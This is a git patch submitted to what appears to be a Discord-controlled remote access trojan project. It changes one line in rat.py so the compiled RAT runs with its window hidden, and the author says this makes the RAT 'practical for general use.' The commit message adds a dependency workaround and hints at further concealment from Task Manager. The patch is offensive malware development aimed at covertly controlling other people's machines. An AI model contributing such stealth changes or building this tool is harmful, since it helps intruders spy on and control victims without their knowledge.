From 14e660e33d0a28cada0287e9d1b08eb262788814 Mon Sep 17 00:00:00 2001 From: okmrsavage <64970074+nomrsavage@users.noreply.github.com> Date: Sat, 8 Jan 2022 00:55:47 -0500 Subject: [PATCH] Hidden Window For RAT The RAT opens a window when it is run, making it impractical for general use. My edit simply adds an option to hide the window. Unfortunately, when I was compiling the RAT for myself I ran into a problem where when I ran the final result it would give an error with something along the lines of "ImportError: OpenCV loader: missing configuration file: ['config.py']. Check OpenCV installation." However, I was able to fix this by downgrading opencv to version 4.5.3.56 with "pip install opencv-python==4.5.3.56" This runs the RAT without a window (obviously it will be shown in task manager, there is a solution to that but it is way more advanced.) I really like the work that you've done with this program, and can't wait to see more! (Yes, I really just added 3 characters and think it's good enough for submission XD) All local testing and workarounds made on Windows 10. I have not tested, nor do I plan to, on Linux. From my research, Linux users run into the same problem with PyInstaller on Ubuntu. --- Additional_File/2_Rat/rat.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/Additional_File/2_Rat/rat.py b/Additional_File/2_Rat/rat.py index 8331c04..5ead158 100644 --- a/Additional_File/2_Rat/rat.py +++ b/Additional_File/2_Rat/rat.py @@ -1226,7 +1226,7 @@ def shell(): os.system('cls' if os.name == 'nt' else 'clear') print(f'{y}[{b}#{y}]{w} File creation...') time.sleep(1) - os.system(f"pyinstaller -y -F temp/{fileName}.py") + os.system(f"pyinstaller -y -F -w temp/{fileName}.py") os.system('cls' if os.name == 'nt' else 'clear') print(f'{y}[{b}#{y}]{w} Cleaning up old files...') time.sleep(1) @@ -1247,4 +1247,4 @@ def shell(): input(f"{y}[{b}#{y}]{w} Press ENTER to exit") main() -discordrat() \ No newline at end of file +discordrat()